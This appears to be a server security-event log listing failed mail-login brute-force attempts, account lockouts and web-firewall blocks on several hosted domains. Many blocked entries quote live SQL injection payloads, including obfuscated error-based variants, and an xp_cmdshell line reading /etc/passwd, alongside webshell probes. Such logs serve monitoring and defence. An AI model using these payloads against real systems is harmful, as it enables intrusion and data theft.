2026-02-02 05:02:11 dovecot_login authenticator failed for H=(W3dpJiPHJl) [178.16.52.139]:62911: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:02:29 dovecot_login authenticator failed for H=(ZWYOxCk) [178.16.54.138]:64495: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:02:38 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58065: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.4.68.73
country_id: 1210997
description:
2026-02-02 05:02:43 dovecot_login authenticator failed for H=(210.4.68-73.bdcom.com) [210.4.68.73]:59666: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:02:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:02:12 dovecot_login authenticator failed for H=(z7yBmUGl) [165.154.217.204]:60095: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:02:13 dovecot_login authenticator failed for H=(QpRmcUIz) [158.94.208.175]:52156: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 05:02:22 dovecot_login authenticator failed for H=(P06g6Ga) [69.5.189.21]:58401: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.203.199.118
country_id: 1835841
description:
2026-02-02 05:02:59 dovecot_login authenticator failed for H=([175.203.199.118]) [175.203.199.118]:20711: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.192.79.179
country_id: 3865483
description:
2026-02-02 05:03:16 dovecot_login authenticator failed for H=(pppoe-179.79.192.181.in-addr.arpa) [181.192.79.179]:32872: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:03:17 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45148: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 35.195.168.139
country_id: 2802361
description:
2026-02-02  5:03:16 260444 [Warning] Aborted connection 260444 to db: 'unconnected' user: 'unauthenticated' host: '35.195.168.139' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:03:21 dovecot_login authenticator failed for H=(woYto7EC6u) [158.94.208.175]:53817: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:03:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57641: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:03:23 dovecot_login authenticator failed for H=(tXSp2qQA5) [178.16.52.139]:54140: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:03:09 dovecot_login authenticator failed for H=(s1ZY5q6Y) [165.154.217.204]:59878: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-02 05:03:12 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:39445: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:03:31 dovecot_login authenticator failed for H=(13BtZ5c) [178.16.54.138]:51610: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-02 05:03:36 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:33448: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 05:03:09 dovecot_login authenticator failed for H=(nfMHahOj6) [69.5.189.21]:49879: 535 Incorrect authentication data (set_id=steven)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:04:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51633: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:04:26 dovecot_login authenticator failed for H=(emwpBN) [158.94.208.175]:63975: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:04:34 dovecot_login authenticator failed for H=(tETYNF) [178.16.54.138]:50090: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:04:44 dovecot_login authenticator failed for H=(OBwith7v) [178.16.52.139]:54081: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.181.57.77
country_id: 1269750
domain: fimco.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:11748.fimco.com.my||ServerName:fimco.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ba9e3cea8a342692de61ac37a265f26740be5b2a||Title:0xb0e26059||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:04:18 dovecot_login authenticator failed for H=(08GMr1l0) [165.154.217.204]:49504: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 05:04:18 dovecot_login authenticator failed for H=(PJmH7b7WA) [69.5.189.21]:54662: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:04:36 dovecot_login authenticator failed for H=(Dg83ZMyPx) [165.154.217.204]:65422: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 86.185.205.5
country_id: 2635167
domain: feliogroup.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:27289.feliogroup.com.my||ServerName:feliogroup.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:35118f31b48a7b3a797f6e9b21155b538663790d||Title:0x1cc6c629||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:06:02 dovecot_login authenticator failed for H=(YDsy8kVtn9) [158.94.208.175]:55712: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:05:25 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36714: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 05:05:05 dovecot_login authenticator failed for H=(YTLGssdTQ0) [69.5.189.21]:63712: 535 Incorrect authentication data (set_id=steven)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:05:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61601: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:05:10 dovecot_login authenticator failed for H=(1zhsEP3) [178.16.52.139]:53079: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:05:14 dovecot_login authenticator failed for H=(qKkIqyV) [165.154.217.204]:63136: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.115.105
country_id: 1819730
domain: vc-b.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home2/vcbcom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-02-02 05:06:34 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com [90.230.168.26]:45916: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:06:35 dovecot_login authenticator failed for H=(EKgl0s) [158.94.208.175]:59863: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-02 05:06:53 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:39892: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:06:53 dovecot_login authenticator failed for H=(23RMxEK7ts) [165.154.217.204]:51500: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:06:12 dovecot_login authenticator failed for H=(ovWndm) [165.154.217.204]:54971: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:06:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56180: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.250.94.65
country_id: 1814991
description:
2026-02-02 05:06:25 dovecot_login authenticator failed for H=([114.250.94.65]) [114.250.94.65]:25587: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:06:27 dovecot_login authenticator failed for H=(rBGEzKNdO) [178.16.52.139]:54846: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:06:29 dovecot_login authenticator failed for H=(QeLRqo9) [178.16.54.138]:62908: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-02-02 05:06:43 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:36494: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.205.115.105
country_id: 1819730
domain: vc-b.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/vcbcom/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:07:10 dovecot_login authenticator failed for H=(QmwwibkZ) [165.154.217.204]:52735: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:07:33 dovecot_login authenticator failed for H=(gubqd0Q) [178.16.54.138]:57826: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-02-02 05:07:42 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:28808: 535 Incorrect authentication data


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 45.161.107.129
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible XSS in arguments||MV:' or '1'='1' union select null,'<script>alert(1)</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat /etc/passwd')#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 45.161.107.129
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:__waf_test__||MV:' OR '1'='1' UNION SELECT NULL,'<script>alert(1)</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat /etc/passwd')#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:07:31 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58278: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:07:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49276: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:07:07 dovecot_login authenticator failed for H=(uSKjf6Jymq) [158.94.208.175]:56685: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:07:22 dovecot_login authenticator failed for H=(m9GATeW8g) [178.16.52.139]:54104: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 45.161.107.129
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:__waf_test__||MV:' OR '1'='1' UNION SELECT NULL,'<script>alert(1)</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat /etc/passwd')#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-02 05:07:52 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:41422: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:08:48 dovecot_login authenticator failed for H=(t9WIUFSXBb) [158.94.208.175]:57925: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:08:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:08:16 dovecot_login authenticator failed for H=(3z1vQH59nS) [178.16.52.139]:61931: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-02 05:08:30 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:45758: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.158
country_id: 2750405
description:
2026-02-02  5:08:52 260780 [Warning] Aborted connection 260780 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.158' (This connection closed normally without authentication)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 45.161.107.129
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'extractvalue(1298,concat(0x7e,(select/**/(elt(1298=1298,1))),0x7e))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 45.161.107.129
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-02-02 05:08:20 dovecot_login authenticator failed for H=(ipoe-static.mosoblast.rt.ru) [89.109.233.181]:41854: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 45.161.107.129
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/9888=CAST('~'||(SELECT/**/(CASE/**/WHEN/**/(9888=9888)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||'~'/**/AS/**/NUMERIC)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:08:07 dovecot_login authenticator failed for H=(Nvl8u9) [165.154.217.204]:58815: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:08:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51983: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:09:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60760: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:09:14 dovecot_login authenticator failed for H=(4hEtQDQqYA) [178.16.52.139]:56292: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 45.161.107.129
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1 AND EXTRACTVALUE(9654,CONCAT(0x7e,(SELECT/**/(ELT(9654=9654,1))),0x7e))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 169.224.36.11
country_id: 99237
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1 AND AND/**/2670/**/IN/**/(SELECT/**/('~' (SELECT/**/(CASE/**/WHEN/**/(2670=2670)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:09:36 dovecot_login authenticator failed for H=(0Vw2qL5Z) [158.94.208.175]:51234: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.146
country_id: 1819730
description:
2026-02-02 05:09:48 dovecot_login authenticator failed for H=(223-197-145-146.static.imsbiz.com) [223.197.145.146]:59088: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:09:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:09:04 dovecot_login authenticator failed for H=(Vn0eVjgHG4) [165.154.217.204]:54762: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 45.161.107.129
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1 and extractvalue(9654,concat(0x7e,(select/**/(elt(9654=9654,1))),0x7e))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 169.224.36.11
country_id: 99237
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1 and and/**/2670/**/in/**/(select/**/('~'+(select/**/(case/**/when/**/(2670=2670)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 82.165.89.172
country_id: 2921044
description:
Feb  2 05:09:56 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account prayerlink@agpc.org.my has been temporarily locked by Imunify PAM(82.165.89.172)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.165.89.172
country_id: 2921044
description:
2026-02-02 05:09:58 dovecot_plain authenticator failed for H=infong-eu-cl0113.clienthosting.eu (mmvnzp4s12rdynrzl0i76wvhx) [82.165.89.172]:45812: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:09:07 dovecot_login authenticator failed for H=(KcpM0E0) [165.154.217.204]:55402: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:09:28 dovecot_login authenticator failed for H=(ta5X0hlSL) [178.16.54.138]:50369: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:09:42 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52112: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:10:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:10:14 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55776: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 169.224.36.11
country_id: 99237
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1 AND AND/**/(SELECT/**/4045/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(4045=4045,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 103.158.158.37
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/(SELECT/**/7968/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7968=7968,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 103.248.205.231
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/1792=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1792=1792)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/INTEGER)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-02 05:10:04 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:34318: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-02 05:10:15 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:56574: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 38.222.69.43
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1) AND /*!50000AND*/(/*!50000SELECT*/3142/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3142=3142,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:10:09 dovecot_login authenticator failed for H=(W1FENO) [158.94.208.175]:55704: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 169.224.36.11
country_id: 99237
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND EXTRACTVALUE(8791,CONCAT(0x7e,(SELECT/**/(ELT(8791=8791,1))),0x7e))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 103.248.205.231
country_id: 1210997
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/1792=cast(('~'||(select/**/(case/**/when/**/(1792=1792)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/integer)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 169.224.36.11
country_id: 99237
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/9905=(select/**/upper(xmltype(chr(60)||chr(58)||%27~%27||(select/**/(case/**/when/**/(9905=9905)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(62)))/**/from/**/dual)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 38.222.69.43
country_id: 3625428
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1) AND /*!50000AND*/(/*!50000SELECT*/3142/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(3142=3142,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 169.224.36.11
country_id: 99237
domain: www.aoto.com.my
description:
